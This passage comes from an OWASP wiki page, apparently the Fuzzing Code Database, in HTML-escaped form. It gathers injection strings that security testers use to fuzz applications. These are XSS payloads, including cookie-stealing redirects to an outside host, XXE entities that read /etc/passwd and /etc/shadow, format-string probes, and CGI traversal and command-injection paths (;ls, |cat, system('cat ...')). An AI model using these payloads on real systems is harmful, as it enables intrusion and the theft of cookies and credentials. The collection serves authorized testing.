codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80090 2010-03-17T23:12:47Z

<p>Adam.muntner: /* Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br 